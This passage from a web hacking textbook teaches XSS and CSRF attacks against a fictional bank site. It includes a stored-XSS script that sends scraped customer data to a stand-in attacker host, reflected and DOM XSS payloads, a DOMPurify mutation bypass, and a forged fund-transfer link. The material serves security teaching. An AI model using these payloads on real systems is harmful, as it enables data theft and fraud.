In Part I of this book, “Recon,” we explored a number of ways to investigate and
document the structure and function of a web application. We evaluated ways of find‐
ing APIs on a server, including those that exist on subdomains rather than at just the
top-level domain. We considered methods of enumerating the endpoints that those
APIs exposed, and the HTTP verbs that they accepted.

After building out a map of subdomains, APIs, and HTTP verbs, we looked at ways of
determining what type of request and response payloads would be accepted by each
endpoint. We approached this from a generic angle, as well as by looking at methods
of finding open specifications that would lead us to the payload’s structure more
rapidly.

After investigating ways of mapping out an application’s API structure, we began a
conversation regarding third-party dependencies and evaluated various ways of
detecting third-party integrations on a first-party application. From this investiga‐
tion, we learned how to detect SPA frameworks, databases, and web servers, and
learned general techniques (like fingerprinting) to identify versions of other
dependencies.

Finally, we concluded our conversation regarding recon by discussing architectural
flaws that can lead to poorly protected functionality. By evaluating a few common
forms of insecure web application architecture, we gained insight into dangers that
hastily developed web applications face.



Now in Part II, “Offense,” we will begin learning common techniques used by hackers
to break into modern web applications. This part comes after “Recon” because the
techniques in “Recon” are useful to understand before you start Part II.

Many of the attacks presented in the following pages are powerful, and sometimes
even easy to deploy, but they will not be applicable to any API endpoint, any HTML
form, or any web link. We can take advantage of the recon techniques from Part I
when looking for ways to apply the exploits in Part II to a real-life web application.
Here we will learn about attacks that stem from insecure API endpoints, insecure web
forms in the UI, poorly designed browser standards, improperly configured server-
side parsers, and more.

By applying the concepts from Part I, we can find API endpoints and determine if
they are written insecurely. We can also evaluate client-side (browser) code to see if it
handles DOM manipulation correctly or in an insecure manner. Fingerprinting
client-side frameworks can be useful for finding weaknesses in an application’s UI, as
client-side code is stored locally and easy to evaluate. As you can see, the techniques
in this book build on top of each other.

In the next few chapters, you will learn how to take advantage of web applications
through a number of powerful and common exploitation techniques. As you learn
about these techniques, consider the lessons from the previous part and attempt to
brainstorm how those recon techniques would be useful in helping you find weak‐
nesses in an application where the upcoming exploits you’ll learn about be applied.



CHAPTER 9

Introduction to Hacking Web Applications

In this part of the book, we will be building on top of our recon skills in order to learn
about particular exploits we can use to take advantage of vulnerabilities in web appli‐
cations. Here you will learn how to take on the role of a hacker.

Throughout this part of the book we will be attacking the hypothetical web applica‐
tion we presented in Part I: mega-bank.com. We will use a wide array of exploits, all of
which are extremely common and found often throughout many of today’s web
applications. The skills acquired from this part of the book can easily be migrated
elsewhere, as long as you also apply the skills and techniques from Part I, “Recon.”

By the end of this part of the book, you will have both the recon skills required to find
bugs in applications that you can exploit, and the offensive hacking skills required to
build and deploy payloads that take advantage of those security bugs.

The Hacker’s Mindset
Becoming a successful hacker takes more than a set of objectively measurable skills
and knowledge—it also takes a very particular mindset.

Software engineers measure productivity in value-add through features, or improve‐
ments to an existing codebase. A software engineer might say, “I added features x and
y, hence today was a good day.” Alternatively, they might say, “I improved the perfor‐
mance of features a and b by 10%,” alluding to the fact that the work of a software
engineer, while difficult to measure compared to traditional occupations, is still quan‐
tifiably measurable.

Hackers measure productivity in ways that are much more difficult to discern and
measure. This is because the majority of hacking is actually data gathering and
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analysis. Often this process is riddled with false positives and might look like time
wasted to an uneducated onlooker.

Most hackers don’t deconstruct or modify software but instead analyze software in
order to work with the existing codebase—seeking entrypoints rather than making
them. Often the skills used to analyze an application while seeking entrypoints are
similar, if not identical, to the skills presented in the first part of this book.

Any given codebase is full of bugs that could potentially be exploitable. A good
hacker is constantly on the lookout for clues that could lead to the discovery of a
vulnerability.

Unfortunately, the nature of this work means that even a good hacker can go a signifi‐
cant amount of time without a big success. It’s entirely possible to spend weeks, if not
months, analyzing a web application before a suitable entrypoint can be found and an
exploit can be designed and delivered.

As a hacker you need to constantly reinforce the importance of finding and delivering
a payload. Beyond that, you must also carefully keep a record of your prior attempts,
and the lessons learned from them. Attention to detail when logging prior work will
be crucial as you move from exploring small applications and begin hacking larger
applications, in particular with key functionality or data as the target.

As we saw in the history of software security, hackers must also constantly be improv‐
ing their skill set, otherwise they will be bested by those who intend to keep them out
of their software. This means that a hacker must also be constantly learning, as old
techniques may become less valuable as the web adapts.

A hacker is first and foremost a detective. A good hacker is a detective who is prop‐
erly organized, and a great hacker is a good hacker who happens to also have excel‐
lent technical knowledge and skills. A master hacker has all of the above, and is
constantly learning and adapting their skill set as those who try to ward them off
improve upon their own skills.

Applied Recon
In Part I we learned how to scout a web application, learning various bits about its
underlying technology and structure along the way. This part is about taking advan‐
tage of security holes in the same applications.

The lessons from Part I are not to be forgotten, however. These lessons will be crucial
going forward, and you will soon understand why.

In Part I you learned how to determine what type of API an application was using to
serve data to its clients (the browser in our examples). We learned that most modern
web applications use REST APIs to accomplish this. The examples in the following
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chapters will mostly involve sending a payload over a REST API. As a result, being
able to determine the API type of an application you are trying to hack will be impor‐
tant here.

Furthermore, we used a combination of public records and network scripts to dis‐
cover undocumented API endpoints. In this chapter, the exploits we develop will be
applicable to many different web applications. As we learned in Part I, sometimes it
can be valuable to try the same exploit against multiple applications with the same
owner. It’s very possible that due to code reuse, you could find an exploit against a
single web application and replicate it to internal web applications discovered via the
techniques discussed in prior chapters.

The topics surrounding endpoint discovery will likewise be beneficial, as you may
encounter multiple API endpoints that take a similarly structured payload. Perhaps
an attack against /users/1234/friends does not return any sensitive nonpublic data,
but /users/1234/settings could.

Understanding how to figure out the authentication scheme in place for a web appli‐
cation is also crucial. Most web applications today offer a superset of guest function‐
ality to authenticated users. This means the number of APIs you can attack with an
authentication token is greater, and the privileges given to the processes run as a
result of those requests being made will likely be greater.

In Part I we also learned how to identify third-party dependencies (often OSS) in an
application. In this part we will learn how to find and customize publicly documented
exploits against third-party dependencies. Sometimes we may even find a security
hole that resulted from an integration between custom code and third-party code.

Our discussions and analysis surrounding application architecture will be valuable
here, as we may find that while application A cannot be exploited, application B can.
If we do not have a way of deploying an exploit directly to application B, we may
instead look into the ways that application A communicates with application B in
order to attempt to find a way to deliver our payload to application A, which would
then later communicate it to application B.

To conclude and once again point out, the recon skills of the prior chapters and the
hacking skills in the upcoming chapters go hand in hand. Hacking and recon are all
complex and interesting skills on their own, but together they are significantly more
valuable.
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CHAPTER 10

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) vulnerabilities are some of the most common vulnerabili‐
ties throughout the internet, and have appeared as a direct response to the increasing
amount of user interaction in today’s web applications.

At its core, an XSS attack functions by taking advantage of the fact that web applica‐
tions execute scripts on users’ browsers. Any type of dynamically created script that is
executed puts a web application at risk if the script being executed can be contamina‐
ted or modified in any way—in particular by an end user.

XXS attacks are categorized a number of ways, with the big three being:

• Stored (the code is stored on a database prior to execution)
• Reflected (the code is not stored in a database, but reflected by a server)
• DOM-based (code is both stored and executed in the browser)

There are indeed categorical variations beyond this, but these three encompass the
types of XSS that most modern web applications need to look out for on a regular
basis. These three types of XSS attacks have been designated by committees like the
Open Web Application Security Project (OWASP) as the most common XSS attack
vectors on the web.

We will discuss all three of these further, but first let’s take a look at how an XSS attack
could be generated and a bug enabling such an attack could be found.
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XSS Discovery and Exploitation
Imagine you are unhappy with the level of service provided by mega-bank.com. For‐
tunately for you, mega-bank.com offers a customer support portal, support.mega-
bank.com, where you can write feedback and hopefully hear back from a customer
support representative.

You write a comment in the support portal, with the following text:

I am not happy with the service provided by your bank.
I have waited 12 hours for my deposit to show up in the web application.
Please improve your web application.
Other banks will show deposits instantly.

—Unhappy Customer, support.mega-bank.com

Now, in order to emphasize how unhappy you are with this fictional bank, you decide
you want to bold a few words. Unfortunately the UI for submitting support requests
does not support bolding text.

Because you are a little bit tech savvy, you try to add in some HTML bold tags:

I am not happy with the service provided by your bank.
I have waited 12 hours for my deposit to show up in the web application.
<strong>Please improve your web application.</strong>
Other banks will show deposits instantly.

—Unhappy Customer, support.mega-bank.com

After you press Enter, your support request is shown to you. The text inside the
<strong></strong> tags has been bolded.

A customer support representative soon messages you back:

Hello, I am Sam with MegaBank support.
I am sorry you are unhappy with our application.
We have a scheduled update next month on the fourth that should increase the speed
at which deposits are reflected in our app.
By the way, how did you bold that text?

—Sam from Customer Support, support.mega-bank.com

What is happening here is actually pretty common in many web applications. Here
we have a very simple architectural mistake that can be deadly to a company if left
alone until a hacker finds it.

user submits comment via web form ->
user comment is stored in database ->
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comment is requested via HTTP request by one or more users ->
comment is injected into the page ->
injected comment is interpreted as DOM rather than text

Usually this happens as a result of a developer literally applying the result of the
HTTP request to the DOM. Frequently this is done by a script like the following:

/*
 * Create a DOM node of type 'div.
 * Append to this div a string to be interpreted as DOM rather than text.
 */
const comment = 'my <strong>comment</strong>';
const div = document.createElement('div');
div.innerHTML = comment;

/*
 * Append the div to the DOM, with it the innerHTML DOM from the comment.
 * Because the comment is interpreted as DOM, it will be parsed
 * and translated into DOM elements upon load.
 */
const wrapper = document.querySelector('#commentArea');
wrapper.appendChild(div);

Because the text is appended literally to the DOM, it is interpreted as DOM markup
rather than text. Our customer support request included a <strong></strong> tag in
this case.

In a more malicious case, we could have caused a lot of havoc using the same vulnera‐
bility. Script tags are the most popular way to take advantage of XSS vulnerabilities,
but there are many ways to take advantage of such a bug.

Consider if the support comment had the following instead of just a tag to bold the
text:

I am not happy with the service provided by your bank.
I have waited 12 hours for my deposit to show up in the web application.
Please improve your web application.
Other banks will show deposits instantly.

<script>
/*
 * Get a list of all customers from the page.
 */
 const customers = document.querySelectorAll('.openCases');

 /*
  * Iterate through each DOM element containing the openCases class,
  * collecting privileged personal identifier information (PII)
  * and store that data in the customerData array.
  */
  const customerData = [];
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  customers.forEach((customer) => {
    customerData.push({
     firstName: customer.querySelector('.firstName').innerText,
     lastName: customer.querySelector('.lastName').innerText,
     email: customer.querySelector('.email').innerText,
     phone: customer.querySelector('.phone').innerText
    });
  });

 /*
  * Build a new HTTP request, and exfiltrate the previously collected
  * data to the hacker's own servers.
  */
  const http = new XMLHttpRequest();
  http.open('POST', 'https://steal-your-data.com/data', true);
  http.setRequestHeader('Content-type', 'application/json');
  http.send(JSON.stringify(customerData);
</script>

—Unhappy Customer, support.mega-bank.com

This is a much more malicious use case. And it’s extremely dangerous for a number
of reasons. The preceding code is what is known as a stored XSS attack—a variation of
XSS that relies on the actual attack code being stored in the application owner’s data‐
bases. In our case, the comment we sent to support is being stored on MegaBank’s
servers.

When a script tag hits the DOM via JavaScript, the browser’s JavaScript interpreter is
immediately invoked and runs the code within the <script></script> tags. This
means that our code would run without any interaction required from the customer
support rep.

What this code is doing is quite simple, and doesn’t take an expert hacker to cook up.
We are traversing the DOM using document.querySelector() and stealing privi‐
leged data that only a customer support rep or MegaBank employee would have
access to. We find this data in the UI, convert it to a nice JSON for readability and
easy storage, and then send it back to our own servers for use or sale at a later time.

The scariest thing about this is that because this code is inside of a script tag, it would
not appear to the customer support rep. The customer support rep would see the lit‐
eral request text, but the <script></script> tags and everything in between would
not be visible to the rep, although it would be executing in the background. This is
because the browser will interpret the text as, well, text. But the browser will see the
script tag and interpret that as a script, just as it would if a legitimate developer wrote
some inline script for a legitimate site.
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Even more interestingly, if another rep opens this comment, they will have the mali‐
cious script run against their browser state as well. This means that because the script
is stored in a database, when requested and visible via the UI, any privileged user who
views this comment would be attacked by the script.

This is a classic example of a stored XSS attack that would work against a web appli‐
cation that lacked proper security controls. It is a simple demonstration, and can be
easily protected against (as we will see in Part III), but it is a solid entrypoint into the
world of XSS nonetheless.

To summarize, XSS attacks:

• Run a script in the browser that was not written by the web application owner
• Can run behind the scenes, without any visibility or required user input to start

execution
• Can obtain any type of data present in the current web application
• Can freely send and receive data from a malicious web server
• Occur as a result of improperly sanitized user input being embedded in the UI
• Can be used to steal session tokens, leading to account takeover
• Can be used to draw DOM objects over the current UI, leading to perfect phish‐

ing attacks that cannot be identified by a nontechnical user

This should give you an idea about the power—and danger—behind XSS attacks.

Stored XSS
Stored XSS attacks are probably the most common type of XSS attack. Stored XSS
attacks are interesting because they are the easiest type of XSS to detect, but often one
of the most dangerous because many times they can affect the most users (see
Figure 10-1).
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Figure 10-1. Stored XSS—malicious script uploaded by a user that is stored in a data‐
base and then later requested and viewed by other users, resulting in script execution on
their machines

A stored database object can be viewed by many users. In some cases all of your users
could be exposed to a stored XSS attack if a global object is infected.

If you operated or maintained a video-hosting site and “featured” a video on the front
page, a stored XSS in the title of this video could potentially affect every visitor for the
duration of the video. For these reasons, stored XSS attacks can be extremely deadly
to an organization.

On the other hand, the permanent nature of a stored XSS makes detection quite easy.
Although the script itself executes on the client (browser), the script is stored in a
database, aka server side. The scripts are stored as text server side, and are not evalu‐
ated (except perhaps in advanced cases involving Node.js servers, in which case they
become classified as remote code execution [RCE], which we will cover later).

Because the scripts are stored server side, regularly scanning database entries for
signs of stored script could be a cheap and efficient mitigation plan for a site that
stores many types of data provided by an end user. This is, in fact, one of many
techniques that the most security-oriented software companies today use to mitigate
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the risk of XSS. We will soon discover that it cannot be a final solution, however, as
advanced XSS payloads may not even be written in plain text (e.g., base64, binary,
etc.). They also could potentially be stored in multiple places and only be dangerous
when concatenated by a specific service for use in the client. These are some tricks
that experienced hackers use to bypass defense mechanisms implemented by
developers.

The example we used earlier when demonstrating a stored XSS attack injected a script
tag directly into the DOM and executed a malicious script via JavaScript. This is the
most common approach for XSS, but also one that is most often mitigated by smart
security engineers and security-conscientious developers.

A simple regex to ban script tags or a CSP rule to prevent inline script execution
would have halted this attack in its tracks.

The only requirement for an XSS attack to be categorized as “stored” is that the pay‐
load must be stored in the application’s database. There is no requirement for this
payload to be valid JavaScript, nor is there a requirement for the client to be a web
browser. As mentioned earlier, there are many alternatives to script tags that will still
result in compromised data or script execution.

Futhermore, there are many clients that request data via a web server that can be con‐
taminated by a stored XSS—web browsers are just the most common target.

Reflected XSS
Most books and educational resources teach reflected XSS before introducing stored
XSS. I believe reflected XSS attacks are often much more difficult for newly minted
hackers to find and take advantage of than stored XSS attacks.

A stored XSS attack is very simple to understand from a developer’s point of view.
The client sends a resource to the server, typically over HTTP. The server updates a
database with the resource received from the client. Later on, that resource may be
accessed by other users, in which case the malicious script will execute unknowingly
inside of the requester’s internet browser.

Reflected XSS attacks, on the other hand, operate identically to stored XSS attacks but
are not stored in a database, nor should they regularly hit a server. A reflected XSS
affects the code of the client in the browser directly without relying on a server to
relay a message to be rendered with a script to be executed (see Figure 10-2).
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Figure 10-2. In reflected XSS, a user performs an action against the local web applica‐
tion resulting in script execution of an unstored (linked) on their own device

As a result of not being stored on the server, reflected XSS can be a bit hard to under‐
stand compared to stored XSS. Let’s start out with an example.

We are once again a customer of a fictional bank with a web application located at
mega-bank.com. This time, we are trying to look up support documentation for how
to open a new savings account to complement our existing checking account. Fortu‐
nately, mega-bank.com’s support portal, support.mega-bank.com, has a search bar we
can use to look up common support requests and their solutions.

The first thing we try is a search for “open savings account.” This search redirects us
to a new URL at support.mega-bank.com/search?query=open+savings+account. On
this search results page we see the heading: 3 results for “open savings account.”

Next we try adjusting the URL to support.mega-bank.com/search?query=open+check‐
ing+account. The heading on the results page now becomes: 4 results for “open
checking account.”

From this we can gather that there is a correlation between the URL query params
and the heading displayed on the results page.

Since we remember finding a stored XSS vulnerability in the support form by includ‐
ing a <strong></strong> tag inside of our comment, let’s try to add a bold tag to the
search query: support.mega-bank.com/search?query=open+<strong>checking</strong>
+account.

To our surprise, the new URL we generated does indeed bold the heading present
within the results page. Using this newfound knowledge, let’s include a script tag in
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the query params: support.mega-bank.com/search?query=open+<script>alert(test);</
script>checking+account.

Opening up this URL loads the search results, but initially pops up an alert modal
with the word “test” inside.

What we have found here is an XSS vulnerability—only this time it will not be stored
in the server. Instead, the server will read it and send it back to the client. These types
of vulnerabilities are called “reflected XSS.”

Previously we discussed the risks of stored XSS, and mentioned that it can be very
easy to hit many users with a stored XSS. But we also mentioned that a downside of
stored XSS is that these attacks can be easily found as they are stored server-side.

Reflected XSS is much more difficult to detect since these attacks often target a user
directly and are never stored in a database. In our example, we could craft a malicious
link payload and send it to the user we wish to attack directly. This could be done via
email, web-based advertisements, or many other ways.

Furthermore, the reflected XSS we discussed previously could easily be disguised as a
valid link. Let’s take this HTML snippet as an example:

Welcome to MegaBank Fans!

Your #1 source for legit MegaBank support info and links.

<a href="https://mega-bank.com/signup">Become a New Customer</a>
<a href="https://mega-bank.com/promos">See Promotional Offers</a>
<a href="https://support.mega-bank.com/search?query=open+
 <script>alert('test');</script>checking+account">
 Create a New Checking Account</a>

Here we have three links, all of which have custom text. Two are legitimate. Clicking
the last link with the text “Create a New Checking Account” would take you to the
support pages. The alert() would suggest that something funny was happening, but
just like with the earlier stored XSS example, we could easily execute some code
behind the scenes. Perhaps we could find enough customer information to imperso‐
nate the user, or get a checking/routing number if it is present in the support portal
UI.

This reflected XSS relies on a URL that makes it quite easy for an attacker to distrib‐
ute. Most reflected XSS will not be this easy to distribute and might require the end
user take additional actions like pasting JavaScript into a web form.

It’s safe to say that as a general rule, reflected XSS is much better at avoiding detec‐
tion, but generally harder to distribute to a wide number of users.
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DOM-Based XSS
The final major categorization for XSS attacks is DOM-based XSS, illustrated in
Figure 10-3. DOM XSS can be either reflected or stored, but makes use of browser
DOM sinks and sources for execution. Due to differences in browser DOM imple‐
mentation, some browsers might be vulnerable while others are not. These XSS
attacks are much more difficult to find and take advantage of than traditional reflec‐
ted or stored XSS, as they require deep knowledge of the browser DOM and
JavaScript.

Figure 10-3. DOM-based XSS

The major difference between for DOM XSS and other forms of XSS is that DOM-
based XSS attacks never require any interaction with a server. As a result, there is a
movement to start categorizing DOM XSS as a subset of a new category called client-
side XSS.

Because DOM XSS doesn’t require a server to function, both a “source” and a “sink”
must be present in the browser DOM. Generally, the source is a DOM object capable
of storing text, and the sink is a DOM API capable of executing a script stored as text.
Because DOM XSS never touches a server, it is nearly impossible to detect with static
analysis tools or any other type of popular scanner.

DOM XSS is also difficult to deal with because of the number of different browsers
there are in use today. It is very possible that a bug in a DOM implementation
shipped by one browser would not be present in the DOM implementation shipped
by another browser.
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The same can be said for browser versions. A browser version from 2015 might be
vulnerable, while a modern browser might not. A company that attempts to support
many browsers could have difficulty reproducing a DOM XSS attack if not enough
details regarding the browser/OS are given. Both JavaScript and the DOM are built
on open specs (TC39 and WhatWG), but the implementation of each browser differs
significantly and often differs from device to device.

Without further ado, let’s examine a mega-bank.com DOM XSS vulnerability.

MegaBank offers an investment portal for its 401(k) management service, located at
investors.mega-bank.com. Inside investors.mega-bank.com/listing is a list of funds
available for investment via 401(k) contributions. The lefthand navigation menu
offers searching and filtering of these funds.

Because the number of funds is limited, searching and sorting take place client side. A
search for “oil” would modify the page URL to investors.mega-bank.com/listing?
search=oil. Similarly, a filter for “usa” to only view US-based funds would generate a
URL of investors.mega-bank.com/listing#usa and would automatically scroll the page
to a collection of US-based funds.

Now it’s important to note that just because the URL changes, that does not always
mean requests against the server are being made. This is more often the case in
modern web applications that make use of their own JavaScript-based routers, as this
can result in a better user experience.

When we enter a search query that is malicious, we won’t run into any funny interac‐
tions on this particular site. But it’s important to note that query params like search
can be a source for DOM XSS, and they can be found in all major browsers via
window.location.search.

Likewise, the hash can also be found in the DOM via window.location.hash. This
means that a payload could be injected into the search query param or the hash. A
dangerous payload in many of these sources will not cause any trouble, unless
another body of code actually makes use of it in a way that could cause script execu‐
tion to occur—hence the need for both a “source” and a “sink.”

Let’s imagine that MegaBank had the following code in the same page:

/*
 * Grab the hash object #<x> from the URL.
 * Find all matches with the findNumberOfMatches() function,
 * providing the hash value as an input.
 */
const hash = document.location.hash;
const funds = [];
const nMatches = findNumberOfMatches(funds, hash);

/*
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 * Write the number of matches found, plus append the hash
 * value to the DOM to improve the user experience.
 */
document.write(nMatches + ' matches found for ' + hash);

Here we are utilizing the value of a source (window.location.hash) in order to gen‐
erate some text to display back to the user. This is done via a sink (document.write)
in this case, but could be done through many other sinks, some of which require
more or less effort than others.

Imagine we generated a link that looked like this:

investors.mega-bank.com/listing#<script>alert(document.cookie);</script>

The document.write() call will result in the execution of this hash value as a script
once it is injected in the DOM and interpreted as a script tag. This will display the
current session cookies, but could do many harmful things as we have seen in past
XSS examples.

From this you can see that although this XSS did not require a server, it did require
both a source (window.location.hash) and a sink (document.write). Furthermore,
it would not have caused any issues if a legitimate string had been passed, and as such
could go undetected for a very long time.

Mutation-Based XSS
Several years ago, my friend and colleague Mario Heiderich published a paper called
“mXSS Attacks: Attacking well-secured Web-Applications by using innerHTML
Mutations.” This paper was one of the first introductions to a new and emerging clas‐
sification of XSS attacks that has been dubbed mutation-based XSS (mXSS).

mXSS attacks are possible against all major browsers today. They rely on developing a
deep understanding of methods by which the browser performs optimizations and
conditionals when rendering DOM nodes.

Just as mutation-based XSS attacks were not widely known or
understood in the past, future technologies may also be vulnerable
to XSS.
XSS-style attacks can target any client-side display technology, and
although they are usually concentrated in the browser, desktop and
mobile technologies may be vulnerable as well.

Although new and often misunderstood, mXSS attacks have been used to bypass
most robust XSS filters available. Tools like DOMPurify, OWASP AntiSamy, and
Google Caja have been bypassed with mXSS, and many major web applications (in
particular, email clients) have been found vulnerable. At its core, mXSS functions by
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making use of filter-safe payloads that eventually mutate into unsafe payloads after
they have passed filtration.

It’s easiest to understand mXSS with an example. Early in 2019, a security researcher
named Masato Kinugawa discovered an mXSS that affected a Google library called
Closure, which was used inside of Google Search.

Masato did this by using a sanitization library called DOMPurify that Closure used to
filter potential XSS strings. DOMPurify was being run on the client (in the browser)
and performed filtration by reading a string prior to permitting it to be inserted as
innerHTML. This is actually the most effective way of sanitizing strings that will be
injected into the DOM via innerHTML, as browsers vary in implementation, and ver‐
sions of browsers also vary (hence server-side filtration would not be as effective).

By shipping the DOMPurify library to the client and performing evaluation, Google
expected they would have a robust XSS filtration solution that worked across old and
new browsers alike.

Masato used a payload that consisted of the following:

<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Technically this payload should be DOM safe as a literal append of this would not
result in script execution due to the way the tags and quotes are set up. Because of
this, DOMPurify let it pass as “not an XSS risk.” However, when this was loaded into
the browser DOM, the DOM performed some optimizations causing it to look like
this:

<noscript><p title="</noscript>
<img src="x" onerror="alert(1)">
"">
"

The reason this happened is because DOMPurify uses a root element <template> in
its sanitization process. The <template> tag is parsed but not rendered, so it is ideal
for use in sanitization.

Inside of a <template> tag, element scripting is disabled. When scripting is disabled,
the <noscript> tag represents its children elements, but when scripting is enabled it
does nothing.

In other words, the img onerror is not capable of script execution inside of the sani‐
tizer, but when it passed sanitization and moved to a real browser environment the <p
title=" was ignored and the img onerror became valid.

To summarize, browser DOM elements often act conditionally based on their
parents, children, and siblings. In some cases, a hacker can take advantage of this fact
and craft XSS payloads that can bypass filters by not being a valid script—but that
turn into a valid script when actually run in the browser.
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Mutation-based XSS is extremely new, and often misunderstood in the application
security industry. Many proof-of-concept exploits can be found on the web, and more
are likely to emerge. Unfortunately, because of this, mXSS is probably here to stay.

Summary
Although less common than in the past, XSS vulnerabilities are still rampant
throughout the web today. Due to the ever-increasing amount of user interaction and
data persistence in web applications, the opportunities for XSS vulnerabilities to
appear in an application are greater than ever.

Unlike other common vulnerability archetypes, XSS can be exploited from a number
of angles—some of which persist across sessions (stored) and others (reflected) that
do not. Additionally, because XSS vulnerabilities rely on finding script-execution
sinks in the client, it is possible that bugs in the browser’s complex specifications can
also result in unintended script execution (DOM-based XSS). Stored XSS can be
found via analysis of database storage, making it easily detectable. But reflected and
DOM-based XSS vulnerabilities often are difficult to find and pin down—which
means it is very possible these vulnerabilities exist on a large number of web applica‐
tions but have not yet been detected.

XSS is a type of attack that has been around for the majority of the web’s history, and
while the basis for the attack is still the same, the surface area and variations of the
attack have both increased.

Because of its widespread surface area, (relative) ease of execution, evasion of detec‐
tion, and the amount of power this type of vulnerability has, XSS attacks should be a
core component of any pen tester or bounty hunter’s skill set.
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CHAPTER 11

Cross-Site Request Forgery (CSRF)

Sometimes we already know an API endpoint exists that would allow us to perform
an operation we wish to perform, but we do not have access to that endpoint because
it requires privileged access (e.g., an admin account).

In this chapter, we will be building Cross-Site Request Forgery (CSRF) exploits that
result in an admin or privileged account performing an operation on our behalf
rather than using a JavaScript code snippet.

CSRF attacks take advantage of the way browsers operate and the trust relationship
between a website and the browser. By finding API calls that rely on this relationship
to ensure security—but yield too much trust to the browser—we can craft links and
forms that with a little bit of effort can cause a user to make requests on his or her
own behalf—unknown to the user generating the request.

Oftentimes CSRF attacks will go unnoticed by the user that is being attacked—as
requests in the browser occur behind the scenes. This means that this type of attack
can be used to take advantage of a privileged user and perform operations against a
server without the user ever knowing. It is one of the most stealthy attacks and has
caused havoc throughout the web since its inception in the early 2000s.

Query Parameter Tampering
Let’s consider the most basic form of CSRF attack—parameter tampering via a
hyperlink.

Most forms of hyperlink on the web correspond with HTTP GET requests. The most
common of which is simply an <a href="https://my-site.com"></a> embedded in
an HTML snippet.
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The anatomy of an HTTP GET request is simple and consistent regardless of where it
is sent from, read from, or how it travels over the network. For an HTTP GET to be
valid, it must follow a supported version of the HTTP specification—so we can rest
assured that the structure of a GET request is the same across applications.

The anatomy of an HTTP GET request is as follows:

GET /resource-url?key=value HTTP/1.1
Host: www.mega-bank.com

Every HTTP GET request includes the HTTP method (GET), followed by a resource
URL and then followed by an optional set of query parameters. The start of the query
params is denoted by ? and continues until whitespace is found. After this comes the
HTTP specification, and on the next line the host at which the resource URL can be
located.

When a web server gets this request it will be routed to the appropriate handler class,
which will receive the query parameters alongside some additional information to
identify the user that made the request, the type of browser they requested from, and
what type of data format they expect in return.

Figure 11-1. CSRF GET—a malicious link is spread that causes state-changing HTTP
GET requests to be performed on behalf of the authenticated user when clicked
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Let’s look at an example in order to make this concept more concrete.

The first example is a server-side routing class that is written on top of Express.js—
the most popular Node.js-based web server software:

/*
 * An example route.
 *
 * Returns the query provided by the HTTP request back to the requester.
 * Returns an error if a query is not provided.
 */
app.get('/account', function(req, res) {
  if (!req.query) { return res.sendStatus(400); }
  return res.json(req.query);
});

This is an extremely simple route that will do only a few things:

• Accept only HTTP GET request to /account
• Return an HTTP 400 error if no query params are provided
• Reflect query params to the sender in JSON format if they are provided

Let’s make a request to this endpoint from a web browser:

/*
 * Generate a new HTTP GET request with no query attached.
 *
 * This will fail and an error will be returned.
 */
const xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  console.log(xhr.responseText);
}
xhr.open('GET', 'https://www.mega-bank.com/account', true);
xhr.send();

Here, from the browser we initiate an HTTP GET request to the server, which will
return a 400 error because we did not provide any query parameters.

We can add the query parameters to get a more interesting result:

/*
 * Generate a new HTTP GET request with a query attached.
 *
 * This will succeed and the query will be reflected in the response.
 */
const xhr = new XMLHttpRequest();
const params = 'id=12345';
xhr.onreadystatechange = function() {
  console.log(xhr.responseText);
}
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xhr.open('GET', `https://www.mega-bank.com/account?${params}`, true);
xhr.send();

Shortly after making this request, a response will be returned with the content:

{
  id: 12345
}

It will also include an HTTP 200 status code if you check out the network request in
your browser.

It is crucial to understand the flow of these requests in order to find and make use of
CSRF vulnerabilities. Let’s backtrack a bit and talk about CSRF again.

The two main identifiers of a CSRF attack are:

• Privilege escalation
• The user account that initiates the request typically does not know it occurred (it

is a stealthy attack)

Most create, read, update, delete (CRUD) web applications that follow HTTP spec
make use of many HTTP verbs, and GET is only one of them. Unfortunately, GET
requests are the least secure of any request and one of the easiest ways to craft a CSRF
attack.

The last GET endpoint we analyzed just reflected data back, but the important part is
it did read the query params we sent it. The URL bar in your browser initiates HTTP
GET requests, so do <a></a> links in the browser or in a phone.

Furthermore, when we click on links throughout the internet we rarely evaluate the
source to see where the link is taking us.

This link:

<a href="https://www.my-website.com?id=123">My Website</a>

would appear literally in the browser as “My Website.” Most users would not know a
parameter was attached to the link as an identifier. Any user that clicks that link will
initiate a request from their browser that will send a query param to the associated
server.

Let’s imagine our fictional banking website, MegaBank, made use of GET requests
with params. Look at this server-side route:

import session from '../authentication/session';
import transferFunds from '../banking/transfers';

/*
 * Transfers funds from the authenticated user's bank account
 * to a bank account chosen by the authenticated user.
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 *
 * The authenticated user may choose the amouint to be transferred.
 *
app.get('/transfer', function(req, res) {
  if (!session.isAuthenticated) { return res.sendStatus(401); }
  if (!req.query.to_user) { return res.sendStatus(400); }
  if (!req.query.amount) { return res.sendStatus(400); }

  transferFunds(session.currentUser, req.query.to_user, req.query.amount,
  (error) => {
              if (error) { return res.sendStatus(400); }
                return res.json({
                   operation: 'transfer',
                   amount: req.query.amount,
                   from: session.currentUser,
                   to: req.query.to_user,
                   status: 'complete'
     });
  });
});

To the untrained eye, this route looks pretty simple. It checks that the user has the
correct privileges, and checks that another user has been specified for the transfer.
Because the user had the correct privileges, the amount specified should be accurate
considering the user had to be authenticated to make this request (it assumes the
request is made on behalf of the requesting user). Similarly, we assume that the trans‐
fer is being made to the right person.

Unfortunately, because this was made using an HTTP GET request, a hyperlink
pointing to this particular route could be easily crafted and sent to an authenticated
user.

CSRF attacks involving HTTP GET param tampering usually proceed as follows:

1. A hacker figures out that a web server uses HTTP GET params to modify its flow
of logic (in this case, determining the amount and target of a bank transfer).

2. The hacker crafts a URL string with those params: <a href="https://www.mega-
bank.com/transfer?to_user=<hacker’s account>&amount=10000">click me</a>.

3. The hacker develops a distribution strategy: usually either targeted (who has the
highest chance of being logged in and having the correct amount of funds?) or
bulk (how can I hit as many people with this in a short period of time before it is
detected?).

Often these attacks are distributed via email or social media. Due to the ease of distri‐
bution, the effects can be devastating to a company. Hackers have even taken out
web-advertising campaigns to seed their links in the hands of as many people as
possible.
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Alternate GET Payloads
Because the default HTTP request in the browser is a GET request, many HTML tags
that accept a URL parameter will automatically make GET requests when interacted
with or when loaded into the DOM. As a result of this, GET requests are the easiest to
attack via CSRF.

In the prior examples, we used a hyperlink <a></a> tag in order to trick the user into
executing a GET request in their own browser. Alternatively, we could have crafted an
image to do the same thing:

<!--Unlike a link, an image performs an HTTP GET request right when it loads
 into the DOM. This means it requires no interaction from the user loading
 the webpage.-->
